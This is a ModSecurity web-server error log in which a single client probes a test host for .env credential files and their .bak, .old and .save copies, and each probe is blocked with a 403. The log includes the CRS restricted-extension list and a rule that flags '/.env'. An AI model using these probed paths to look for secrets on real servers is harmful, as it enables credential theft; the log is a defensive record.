[Thu Oct 30 20:08:33.560315 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aQO3sUIRheG_olLGGo-l6AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:33.560526 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aQO3sUIRheG_olLGGo-l6AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:34.081745 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aQO3skIRheG_olLGGo-l6QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:34.082046 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aQO3skIRheG_olLGGo-l6QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:34.082263 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aQO3skIRheG_olLGGo-l6QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:34.642886 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aQO3skIRheG_olLGGo-l6gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:34.643108 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aQO3skIRheG_olLGGo-l6gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:34.643368 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aQO3skIRheG_olLGGo-l6gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:34.643583 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.bak&quot;] [unique_id &quot;aQO3skIRheG_olLGGo-l6gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:35.216306 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aQO3s0IRheG_olLGGo-l6wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:35.216504 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aQO3s0IRheG_olLGGo-l6wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:35.216744 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aQO3s0IRheG_olLGGo-l6wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:35.216994 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.old&quot;] [unique_id &quot;aQO3s0IRheG_olLGGo-l6wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:35.783901 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aQO3s0IRheG_olLGGo-l7AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:35.784165 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aQO3s0IRheG_olLGGo-l7AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:35.784397 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aQO3s0IRheG_olLGGo-l7AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:36.442330 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aQO3tEIRheG_olLGGo-l7QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:36.442637 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aQO3tEIRheG_olLGGo-l7QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:36.442853 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.save&quot;] [unique_id &quot;aQO3tEIRheG_olLGGo-l7QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:37.031223 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aQO3tUIRheG_olLGGo-l7gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:37.031431 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aQO3tUIRheG_olLGGo-l7gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:37.031710 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aQO3tUIRheG_olLGGo-l7gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:37.031942 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.bak&quot;] [unique_id &quot;aQO3tUIRheG_olLGGo-l7gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:37.672481 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aQO3tUIRheG_olLGGo-l7wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:37.672675 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aQO3tUIRheG_olLGGo-l7wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:37.672937 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aQO3tUIRheG_olLGGo-l7wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:37.673136 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env.old&quot;] [unique_id &quot;aQO3tUIRheG_olLGGo-l7wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:38.211459 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aQO3tkIRheG_olLGGo-l8AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:38.211775 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aQO3tkIRheG_olLGGo-l8AAAAAI&quot;], referer: https://www.google.com/
